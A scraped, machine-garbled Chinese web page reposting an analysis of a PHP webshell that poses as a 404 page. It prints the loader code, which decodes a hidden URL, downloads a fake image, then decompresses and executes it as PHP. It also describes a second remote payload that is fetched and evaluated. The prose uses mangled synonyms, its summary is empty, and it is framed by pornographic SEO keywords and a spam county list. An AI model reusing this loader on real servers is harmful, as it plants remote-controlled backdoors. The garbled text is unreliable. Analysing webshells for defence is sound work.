欧美一区2区三区4区公司二百,国产精品婷婷午夜在线观看,自拍偷拍亚洲精品,国产美女诱惑一区二区

歡迎來到夢飛科技

網(wǎng)絡(luò)技術(shù)

當(dāng)前優(yōu)惠活動(dòng):

某PHP webshell后門闡明

克日,360網(wǎng)站衛(wèi)士安詳團(tuán)隊(duì)近期捕捉一個(gè)基于PHP實(shí)現(xiàn)的webshell樣本,其巧妙的代碼動(dòng)態(tài)生成方法,猥瑣的自身頁面?zhèn)窝b手法,讓我們?cè)陉U明這個(gè)樣本的進(jìn)程中感覺到相當(dāng)多的興趣。接下來就讓我們一同共賞這個(gè)奇葩的Webshell吧。

Webshell

<?php
error_reporting(0);
session_start();
header(“Content-type:text/html;charset=utf-8″);if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
?>

要害看下面這句代碼,

sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

這里執(zhí)行之后其實(shí)是一張圖片,解密出來的圖片地點(diǎn)如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后挪用file_get_contents函數(shù)讀取圖片為字符串,然后substr取3649字節(jié)之后的內(nèi)容,再挪用gzuncompress解壓,獲得真正的代碼。最后挪用preg_replace的修飾符e來執(zhí)行惡意代碼的。這里執(zhí)行以下語句來還原出惡意樣本代碼,

<?php
echo gzuncompress(substr(file_get_contents(sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

如圖所示:

某PHP webshell后門闡發(fā)

闡明這段代碼,發(fā)明這是一個(gè)偽裝的404木馬(這里實(shí)在是太猥瑣了…把頁面標(biāo)題改成404 Not Found),其實(shí)整個(gè)webshell就一個(gè)class外加三個(gè)function,如下圖:

某PHP webshell后門闡發(fā)

首先我先看一下它的前端html代碼,個(gè)中有這么一段js措施
document.onkeydown = function(e) {
var theEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$(“l(fā)ogin”).style.display = “block”
}
}
這里它用document.onkeydown獲取用戶敲擊鍵盤事件,當(dāng)code便是80的時(shí)候顯示login這個(gè)div,這里查詢了一下keyCode的比較表,查到80對(duì)應(yīng)p和P鍵

某PHP webshell后門闡發(fā)

所以觸發(fā)webshell登岸需要按p鍵(不按P鍵頁面就是一個(gè)空缺頁,看不到登岸框),如圖所示:

某PHP webshell后門闡發(fā)

再回隨處事端php代碼中,可以看到措施用的是對(duì)稱加密,而且將登岸暗碼作為加密key,代碼如圖所示:

某PHP webshell后門闡發(fā)

再看init()的邏輯

某PHP webshell后門闡發(fā)

如圖所示,先看這句代碼

$true =

@gzuncompress(gzuncompress(Crypt::decrypt(pack(‘H*’,         ’789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));

按照這個(gè)解密邏輯我們可以推出,這里其實(shí)是將字符串true做了以下加密處理懲罰,

unpack(‘H*’,Crypt::encrypt(gzcompress(gzcompress(‘true’)), $_POST['key'] , true))

所以當(dāng)輸入正確暗碼的時(shí)候@gzuncompress返回字符串true,然后措施挪用setcookie給客戶端返回$_COOKIE[‘key’],然后值得提一下的是后頭這個(gè)exit(‘{“status”:”on”}’),這里它與前端代碼接洽很細(xì)密,我們看前端有個(gè)callback函數(shù),如下

function callback() {
var json = eval(“(” + this.responseText + “)”);
if (json.status==’on’){
window.location.reload();
return;
}
if (json.notice) {
$(“notice”).style.display = “block”;
$(“notice”).innerHTML = json.notice;
sideOut();
}
}

這里執(zhí)行exit(‘{“status”:”on”}’)會(huì)返回json串{“status”:”on”},此時(shí)前端js代碼classback()獲取到此響應(yīng)會(huì)執(zhí)行window.location.reload()刷新,再次請(qǐng)求正好帶上前面獲取的cookie,然后執(zhí)行判定COOKIE的邏輯,如圖所示:

某PHP webshell后門闡發(fā)

這里跟前面POST的邏輯一樣,下面當(dāng)判定為’true’今后,這里又請(qǐng)求了一張圖片,pack出來地點(diǎn)為http://2012heike.googlecode.com/svn/trunk/code.jpg,然后挪用_REQUEST獲取圖片內(nèi)容,解密解壓之后再eval,闡明之后發(fā)明code.jpg中才是真正的webshell顛末加密壓縮之后的內(nèi)容。這里我跟蹤了一下代碼打印出了真正執(zhí)行的webshell的內(nèi)容:

某PHP webshell后門闡發(fā)

登岸樂成之后的webshell如下圖:

某PHP webshell后門闡發(fā)

總結(jié):

夢飛科技 - 全球數(shù)據(jù)中心基礎(chǔ)服務(wù)領(lǐng)先供應(yīng)商

Copyright © 2003-2019 MFISP.COM. 國外服務(wù)器租用 IDC公司 版權(quán)所有 ? 粵ICP備11019662號(hào)

主站蜘蛛池模板: 扶风县| 西丰县| 外汇| 凌云县| 乌鲁木齐市| 民乐县| 长武县| 许昌市| 乌兰察布市| 长海县| 海丰县| 泽库县| 洞头县| 鄂州市| 平安县| 西乌珠穆沁旗| 河南省| 沅陵县| 呈贡县| 卢龙县| 崇明县| 临邑县| 古田县| 驻马店市| 大新县| 罗定市| 菏泽市| 山西省| 府谷县| 宣恩县| 新巴尔虎左旗| 乐清市| 平罗县| 泰宁县| 曲周县| 襄樊市| 尼木县| 江都市| 水富县| 花莲市| 西乌珠穆沁旗|